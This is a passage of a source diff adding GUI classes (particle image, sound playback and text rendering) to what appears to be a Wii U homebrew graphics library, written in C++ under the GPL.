int getWidth() const { if(texture) return texture->surface.width; else return 0; };
|
||||||
|
//!Gets the image height
|
||||||
|
//!\return image height
|
||||||
|
int getHeight() const { if(texture) return texture->surface.height; else return 0; };
|
||||||
|
//! release memory of the image data
|
||||||
|
void releaseData(void);
|
||||||
|
private:
|
||||||
|
void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch);
|
||||||
|
void gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch);
|
||||||
|
|
||||||
|
GX2Texture *texture;
|
||||||
|
GX2Sampler *sampler;
|
||||||
|
|
||||||
|
enum eMemoryTypes
|
||||||
|
{
|
||||||
|
eMemTypeMEM2,
|
||||||
|
eMemTypeMEM1,
|
||||||
|
eMemTypeMEMBucket
|
||||||
|
};
|
||||||
|
|
||||||
|
u8 memoryType;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
128
src/gui/GuiParticleImage.cpp
Normal file
128
src/gui/GuiParticleImage.cpp
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiParticleImage.h"
|
||||||
|
#include "video/CVideo.h"
|
||||||
|
#include "video/shaders/ColorShader.h"
|
||||||
|
|
||||||
|
#define CIRCLE_VERTEX_COUNT 36
|
||||||
|
|
||||||
|
static inline f32 getRandZeroToOneF32()
|
||||||
|
{
|
||||||
|
return (rand() % 10000) * 0.0001f;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline f32 getRandMinusOneToOneF32()
|
||||||
|
{
|
||||||
|
return getRandZeroToOneF32() * 2.0f - 1.0f;
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiParticleImage::GuiParticleImage(int w, int h, u32 particleCount)
|
||||||
|
: GuiImage(NULL)
|
||||||
|
{
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
imgType = IMAGE_COLOR;
|
||||||
|
|
||||||
|
posVertexs = (f32 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT);
|
||||||
|
colorVertexs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT);
|
||||||
|
|
||||||
|
for(u32 i = 0; i < CIRCLE_VERTEX_COUNT; i++)
|
||||||
|
{
|
||||||
|
posVertexs[i * 3 + 0] = cosf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT));
|
||||||
|
posVertexs[i * 3 + 1] = sinf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT));
|
||||||
|
posVertexs[i * 3 + 2] = 0.0f;
|
||||||
|
|
||||||
|
colorVertexs[i * 4 + 0] = 0xff;
|
||||||
|
colorVertexs[i * 4 + 1] = 0xff;
|
||||||
|
colorVertexs[i * 4 + 2] = 0xff;
|
||||||
|
colorVertexs[i * 4 + 3] = 0xff;
|
||||||
|
}
|
||||||
|
GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT);
|
||||||
|
GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT);
|
||||||
|
|
||||||
|
particles.resize(particleCount);
|
||||||
|
|
||||||
|
for(u32 i = 0; i < particleCount; i++)
|
||||||
|
{
|
||||||
|
particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f;
|
||||||
|
particles[i].position.y = getRandMinusOneToOneF32() * getHeight() * 0.5f;
|
||||||
|
particles[i].position.z = 0.0f;
|
||||||
|
particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f);
|
||||||
|
particles[i].radius = getRandZeroToOneF32() * 30.0f;
|
||||||
|
particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f;
|
||||||
|
particles[i].direction = getRandMinusOneToOneF32();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiParticleImage::~GuiParticleImage()
|
||||||
|
{
|
||||||
|
free(posVertexs);
|
||||||
|
free(colorVertexs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiParticleImage::draw(CVideo *pVideo)
|
||||||
|
{
|
||||||
|
if(!this->isVisible())
|
||||||
|
return;
|
||||||
|
|
||||||
|
|
||||||
|
f32 currScaleX = getScaleX();
|
||||||
|
f32 currScaleY = getScaleY();
|
||||||
|
|
||||||
|
positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;
|
||||||
|
|
||||||
|
scaleFactor[2] = getScaleZ();
|
||||||
|
|
||||||
|
//! add other colors intensities parameters
|
||||||
|
colorIntensity[3] = getAlpha();
|
||||||
|
|
||||||
|
for(u32 i = 0; i < particles.size(); ++i)
|
||||||
|
{
|
||||||
|
if(particles[i].position.y > (getHeight() * 0.5f + 30.0f))
|
||||||
|
{
|
||||||
|
particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f;
|
||||||
|
particles[i].position.y = -getHeight() * 0.5f - 30.0f;
|
||||||
|
particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f);
|
||||||
|
particles[i].radius = getRandZeroToOneF32() * 30.0f;
|
||||||
|
particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f;
|
||||||
|
particles[i].direction = getRandMinusOneToOneF32();
|
||||||
|
}
|
||||||
|
if(particles[i].position.x < (-getWidth() * 0.5f - 50.0f))
|
||||||
|
{
|
||||||
|
particles[i].position.x = -particles[i].position.x;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
particles[i].direction += getRandMinusOneToOneF32() * 0.03f;
|
||||||
|
particles[i].position.x += particles[i].speed * particles[i].direction;
|
||||||
|
particles[i].position.y += particles[i].speed;
|
||||||
|
|
||||||
|
positionOffsets[0] = (getCenterX() + particles[i].position.x) * pVideo->getWidthScaleFactor() * 2.0f;
|
||||||
|
positionOffsets[1] = (getCenterY() + particles[i].position.y) * pVideo->getHeightScaleFactor() * 2.0f;
|
||||||
|
|
||||||
|
scaleFactor[0] = currScaleX * particles[i].radius * pVideo->getWidthScaleFactor();
|
||||||
|
scaleFactor[1] = currScaleY * particles[i].radius * pVideo->getHeightScaleFactor();
|
||||||
|
|
||||||
|
ColorShader::instance()->setShaders();
|
||||||
|
ColorShader::instance()->setAttributeBuffer(colorVertexs, posVertexs, CIRCLE_VERTEX_COUNT);
|
||||||
|
ColorShader::instance()->setAngle(0.0f);
|
||||||
|
ColorShader::instance()->setOffset(positionOffsets);
|
||||||
|
ColorShader::instance()->setScale(scaleFactor);
|
||||||
|
ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors);
|
||||||
|
ColorShader::instance()->draw(GX2_PRIMITIVE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT);
|
||||||
|
}
|
||||||
|
}
|
45
src/gui/GuiParticleImage.h
Normal file
45
src/gui/GuiParticleImage.h
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef _GUI_PARTICLE_IMAGE_H_
|
||||||
|
#define _GUI_PARTICLE_IMAGE_H_
|
||||||
|
|
||||||
|
#include "GuiImage.h"
|
||||||
|
|
||||||
|
class GuiParticleImage : public GuiImage, public sigslot::has_slots<>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
GuiParticleImage(int w, int h, u32 particleCount);
|
||||||
|
virtual ~GuiParticleImage();
|
||||||
|
|
||||||
|
void draw(CVideo *pVideo);
|
||||||
|
private:
|
||||||
|
f32 *posVertexs;
|
||||||
|
u8 *colorVertexs;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
glm::vec3 position;
|
||||||
|
glm::vec4 colors;
|
||||||
|
f32 radius;
|
||||||
|
f32 speed;
|
||||||
|
f32 direction;
|
||||||
|
} Particle;
|
||||||
|
|
||||||
|
std::vector<Particle> particles;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // _GUI_ICON_GRID_H_
|
193
src/gui/GuiSound.cpp
Normal file
193
src/gui/GuiSound.cpp
Normal file
@ -0,0 +1,193 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiSound.h"
|
||||||
|
#include "sounds/SoundHandler.hpp"
|
||||||
|
#include "dynamic_libs/os_functions.h"
|
||||||
|
|
||||||
|
GuiSound::GuiSound(const char * filepath)
|
||||||
|
{
|
||||||
|
voice = -1;
|
||||||
|
Load(filepath);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiSound::GuiSound(const u8 * snd, s32 length)
|
||||||
|
{
|
||||||
|
voice = -1;
|
||||||
|
Load(snd, length);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiSound::~GuiSound()
|
||||||
|
{
|
||||||
|
if(voice >= 0)
|
||||||
|
{
|
||||||
|
SoundHandler::instance()->RemoveDecoder(voice);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
bool GuiSound::Load(const char * filepath)
|
||||||
|
{
|
||||||
|
if(voice >= 0)
|
||||||
|
{
|
||||||
|
SoundHandler::instance()->RemoveDecoder(voice);
|
||||||
|
voice = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//! find next free decoder
|
||||||
|
for(int i = 0; i < MAX_DECODERS; i++)
|
||||||
|
{
|
||||||
|
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i);
|
||||||
|
if(decoder == NULL)
|
||||||
|
{
|
||||||
|
SoundHandler::instance()->AddDecoder(i, filepath);
|
||||||
|
decoder = SoundHandler::instance()->getDecoder(i);
|
||||||
|
if(decoder)
|
||||||
|
{
|
||||||
|
voice = i;
|
||||||
|
SoundHandler::instance()->ThreadSignal();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(voice < 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiSound::Load(const u8 * snd, s32 len)
|
||||||
|
{
|
||||||
|
if(voice >= 0)
|
||||||
|
{
|
||||||
|
SoundHandler::instance()->RemoveDecoder(voice);
|
||||||
|
voice = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!snd)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
//! find next free decoder
|
||||||
|
for(int i = 0; i < MAX_DECODERS; i++)
|
||||||
|
{
|
||||||
|
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i);
|
||||||
|
if(decoder == NULL)
|
||||||
|
{
|
||||||
|
SoundHandler::instance()->AddDecoder(i, snd, len);
|
||||||
|
decoder = SoundHandler::instance()->getDecoder(i);
|
||||||
|
if(decoder)
|
||||||
|
{
|
||||||
|
voice = i;
|
||||||
|
SoundHandler::instance()->ThreadSignal();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(voice < 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::Play()
|
||||||
|
{
|
||||||
|
Stop();
|
||||||
|
|
||||||
|
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||||
|
if(v)
|
||||||
|
v->setState(Voice::STATE_START);
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::Stop()
|
||||||
|
{
|
||||||
|
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||||
|
if(v)
|
||||||
|
{
|
||||||
|
if((v->getState() != Voice::STATE_STOP) && (v->getState() != Voice::STATE_STOPPED))
|
||||||
|
v->setState(Voice::STATE_STOP);
|
||||||
|
|
||||||
|
while(v->getState() != Voice::STATE_STOPPED)
|
||||||
|
usleep(1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice);
|
||||||
|
if(decoder)
|
||||||
|
{
|
||||||
|
decoder->Lock();
|
||||||
|
decoder->Rewind();
|
||||||
|
decoder->ClearBuffer();
|
||||||
|
SoundHandler::instance()->ThreadSignal();
|
||||||
|
decoder->Unlock();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::Pause()
|
||||||
|
{
|
||||||
|
if(!IsPlaying())
|
||||||
|
return;
|
||||||
|
|
||||||
|
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||||
|
if(v)
|
||||||
|
v->setState(Voice::STATE_STOP);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::Resume()
|
||||||
|
{
|
||||||
|
if(IsPlaying())
|
||||||
|
return;
|
||||||
|
|
||||||
|
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||||
|
if(v)
|
||||||
|
v->setState(Voice::STATE_START);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiSound::IsPlaying()
|
||||||
|
{
|
||||||
|
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||||
|
if(v)
|
||||||
|
return v->getState() == Voice::STATE_PLAYING;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::SetVolume(u32 vol)
|
||||||
|
{
|
||||||
|
if(vol > 100)
|
||||||
|
vol = 100;
|
||||||
|
|
||||||
|
u32 volumeConv = ( (0x8000 * vol) / 100 ) << 16;
|
||||||
|
|
||||||
|
Voice * v = SoundHandler::instance()->getVoice(voice);
|
||||||
|
if(v)
|
||||||
|
v->setVolume(volumeConv);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::SetLoop(bool l)
|
||||||
|
{
|
||||||
|
SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice);
|
||||||
|
if(decoder)
|
||||||
|
decoder->SetLoop(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiSound::Rewind()
|
||||||
|
{
|
||||||
|
Stop();
|
||||||
|
}
|
60
src/gui/GuiSound.h
Normal file
60
src/gui/GuiSound.h
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_SOUND_H_
|
||||||
|
#define GUI_SOUND_H_
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
#include "system/AsyncDeleter.h"
|
||||||
|
|
||||||
|
//!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc
|
||||||
|
class GuiSound : public AsyncDeleter::Element
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
//!\param sound Pointer to the sound data
|
||||||
|
//!\param filesize Length of sound data
|
||||||
|
GuiSound(const char * filepath);
|
||||||
|
GuiSound(const u8 * sound, int length);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiSound();
|
||||||
|
//!Load a file and replace the old one
|
||||||
|
bool Load(const char * filepath);
|
||||||
|
//!Load a file and replace the old one
|
||||||
|
bool Load(const u8 * snd, s32 len);
|
||||||
|
//!Start sound playback
|
||||||
|
void Play();
|
||||||
|
//!Stop sound playback
|
||||||
|
void Stop();
|
||||||
|
//!Pause sound playback
|
||||||
|
void Pause();
|
||||||
|
//!Resume sound playback
|
||||||
|
void Resume();
|
||||||
|
//!Checks if the sound is currently playing
|
||||||
|
//!\return true if sound is playing, false otherwise
|
||||||
|
bool IsPlaying();
|
||||||
|
//!Rewind the music
|
||||||
|
void Rewind();
|
||||||
|
//!Set sound volume
|
||||||
|
//!\param v Sound volume (0-100)
|
||||||
|
void SetVolume(u32 v);
|
||||||
|
//!\param l Loop (true to loop)
|
||||||
|
void SetLoop(bool l);
|
||||||
|
protected:
|
||||||
|
s32 voice; //!< Currently assigned ASND voice channel
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
600
src/gui/GuiText.cpp
Normal file
600
src/gui/GuiText.cpp
Normal file
@ -0,0 +1,600 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiText.h"
|
||||||
|
#include "FreeTypeGX.h"
|
||||||
|
#include "video/CVideo.h"
|
||||||
|
|
||||||
|
FreeTypeGX * GuiText::presentFont = NULL;
|
||||||
|
int GuiText::presetSize = 28;
|
||||||
|
int GuiText::presetMaxWidth = 0xFFFF;
|
||||||
|
int GuiText::presetAlignment = ALIGN_CENTER | ALIGN_MIDDLE;
|
||||||
|
GX2ColorF32 GuiText::presetColor = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f };
|
||||||
|
|
||||||
|
#define TEXT_SCROLL_DELAY 6
|
||||||
|
#define TEXT_SCROLL_INITIAL_DELAY 10
|
||||||
|
#define MAX_LINES_TO_DRAW 10
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor for the GuiText class.
|
||||||
|
*/
|
||||||
|
|
||||||
|
GuiText::GuiText()
|
||||||
|
{
|
||||||
|
text = NULL;
|
||||||
|
size = presetSize;
|
||||||
|
currentSize = size;
|
||||||
|
color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a);
|
||||||
|
alpha = presetColor.a;
|
||||||
|
alignment = presetAlignment;
|
||||||
|
maxWidth = presetMaxWidth;
|
||||||
|
wrapMode = 0;
|
||||||
|
textWidth = 0;
|
||||||
|
font = presentFont;
|
||||||
|
linestodraw = MAX_LINES_TO_DRAW;
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||||
|
defaultBlur = 4.0f;
|
||||||
|
blurGlowIntensity = 0.0f;
|
||||||
|
blurAlpha = 0.0f;
|
||||||
|
blurGlowColor = glm::vec4(0.0f);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiText::GuiText(const char * t, int s, const glm::vec4 & c)
|
||||||
|
{
|
||||||
|
text = NULL;
|
||||||
|
size = s;
|
||||||
|
currentSize = size;
|
||||||
|
color = c;
|
||||||
|
alpha = c[3];
|
||||||
|
alignment = ALIGN_CENTER | ALIGN_MIDDLE;
|
||||||
|
maxWidth = presetMaxWidth;
|
||||||
|
wrapMode = 0;
|
||||||
|
textWidth = 0;
|
||||||
|
font = presentFont;
|
||||||
|
linestodraw = MAX_LINES_TO_DRAW;
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||||
|
defaultBlur = 4.0f;
|
||||||
|
blurGlowIntensity = 0.0f;
|
||||||
|
blurAlpha = 0.0f;
|
||||||
|
blurGlowColor = glm::vec4(0.0f);
|
||||||
|
|
||||||
|
if(t)
|
||||||
|
{
|
||||||
|
text = FreeTypeGX::charToWideChar(t);
|
||||||
|
if(!text)
|
||||||
|
return;
|
||||||
|
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiText::GuiText(const wchar_t * t, int s, const glm::vec4 & c)
|
||||||
|
{
|
||||||
|
text = NULL;
|
||||||
|
size = s;
|
||||||
|
currentSize = size;
|
||||||
|
color = c;
|
||||||
|
alpha = c[3];
|
||||||
|
alignment = ALIGN_CENTER | ALIGN_MIDDLE;
|
||||||
|
maxWidth = presetMaxWidth;
|
||||||
|
wrapMode = 0;
|
||||||
|
textWidth = 0;
|
||||||
|
font = presentFont;
|
||||||
|
linestodraw = MAX_LINES_TO_DRAW;
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||||
|
defaultBlur = 4.0f;
|
||||||
|
blurGlowIntensity = 0.0f;
|
||||||
|
blurAlpha = 0.0f;
|
||||||
|
blurGlowColor = glm::vec4(0.0f);
|
||||||
|
|
||||||
|
if(t)
|
||||||
|
{
|
||||||
|
text = new (std::nothrow) wchar_t[wcslen(t)+1];
|
||||||
|
if(!text)
|
||||||
|
return;
|
||||||
|
|
||||||
|
wcscpy(text, t);
|
||||||
|
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor for the GuiText class, uses presets
|
||||||
|
*/
|
||||||
|
GuiText::GuiText(const char * t)
|
||||||
|
{
|
||||||
|
text = NULL;
|
||||||
|
size = presetSize;
|
||||||
|
currentSize = size;
|
||||||
|
color = glm::vec4(presetColor.r, presetColor.g, presetColor.b, presetColor.a);
|
||||||
|
alpha = presetColor.a;
|
||||||
|
alignment = presetAlignment;
|
||||||
|
maxWidth = presetMaxWidth;
|
||||||
|
wrapMode = 0;
|
||||||
|
textWidth = 0;
|
||||||
|
font = presentFont;
|
||||||
|
linestodraw = MAX_LINES_TO_DRAW;
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||||
|
defaultBlur = 4.0f;
|
||||||
|
blurGlowIntensity = 0.0f;
|
||||||
|
blurAlpha = 0.0f;
|
||||||
|
blurGlowColor = glm::vec4(0.0f);
|
||||||
|
|
||||||
|
if(t)
|
||||||
|
{
|
||||||
|
text = FreeTypeGX::charToWideChar(t);
|
||||||
|
if(!text)
|
||||||
|
return;
|
||||||
|
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Destructor for the GuiText class.
|
||||||
|
*/
|
||||||
|
GuiText::~GuiText()
|
||||||
|
{
|
||||||
|
if(text)
|
||||||
|
delete [] text;
|
||||||
|
text = NULL;
|
||||||
|
|
||||||
|
clearDynamicText();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setText(const char * t)
|
||||||
|
{
|
||||||
|
if(text)
|
||||||
|
delete [] text;
|
||||||
|
text = NULL;
|
||||||
|
|
||||||
|
clearDynamicText();
|
||||||
|
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
|
||||||
|
if(t)
|
||||||
|
{
|
||||||
|
text = FreeTypeGX::charToWideChar(t);
|
||||||
|
if(!text)
|
||||||
|
return;
|
||||||
|
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setTextf(const char *format, ...)
|
||||||
|
{
|
||||||
|
if(!format)
|
||||||
|
{
|
||||||
|
setText((char *) NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int max_len = strlen(format) + 8192;
|
||||||
|
char *tmp = new char[max_len];
|
||||||
|
va_list va;
|
||||||
|
va_start(va, format);
|
||||||
|
if((vsnprintf(tmp, max_len, format, va) >= 0) && tmp)
|
||||||
|
{
|
||||||
|
setText(tmp);
|
||||||
|
}
|
||||||
|
va_end(va);
|
||||||
|
|
||||||
|
if(tmp)
|
||||||
|
delete [] tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void GuiText::setText(const wchar_t * t)
|
||||||
|
{
|
||||||
|
if(text)
|
||||||
|
delete [] text;
|
||||||
|
text = NULL;
|
||||||
|
|
||||||
|
clearDynamicText();
|
||||||
|
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
|
||||||
|
if(t)
|
||||||
|
{
|
||||||
|
text = new (std::nothrow) wchar_t[wcslen(t)+1];
|
||||||
|
if(!text)
|
||||||
|
return;
|
||||||
|
|
||||||
|
wcscpy(text, t);
|
||||||
|
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::clearDynamicText()
|
||||||
|
{
|
||||||
|
for(u32 i = 0; i < textDyn.size(); i++)
|
||||||
|
{
|
||||||
|
if(textDyn[i])
|
||||||
|
delete [] textDyn[i];
|
||||||
|
}
|
||||||
|
textDyn.clear();
|
||||||
|
textDynWidth.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setPresets(int sz, const glm::vec4 & c, int w, int a)
|
||||||
|
{
|
||||||
|
presetSize = sz;
|
||||||
|
presetColor = (GX2ColorF32) { (f32)c.r / 255.0f, (f32)c.g / 255.0f, (f32)c.b / 255.0f, (f32)c.a / 255.0f };
|
||||||
|
presetMaxWidth = w;
|
||||||
|
presetAlignment = a;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setPresetFont(FreeTypeGX *f)
|
||||||
|
{
|
||||||
|
presentFont = f;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setFontSize(int s)
|
||||||
|
{
|
||||||
|
size = s;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setMaxWidth(int width, int w)
|
||||||
|
{
|
||||||
|
maxWidth = width;
|
||||||
|
wrapMode = w;
|
||||||
|
|
||||||
|
if(w == SCROLL_HORIZONTAL)
|
||||||
|
{
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
textScrollDelay = TEXT_SCROLL_DELAY;
|
||||||
|
}
|
||||||
|
|
||||||
|
clearDynamicText();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setColor(const glm::vec4 & c)
|
||||||
|
{
|
||||||
|
color = c;
|
||||||
|
alpha = c[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::setBlurGlowColor(float blur, const glm::vec4 & c)
|
||||||
|
{
|
||||||
|
blurGlowColor = c;
|
||||||
|
blurGlowIntensity = blur;
|
||||||
|
blurAlpha = c[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
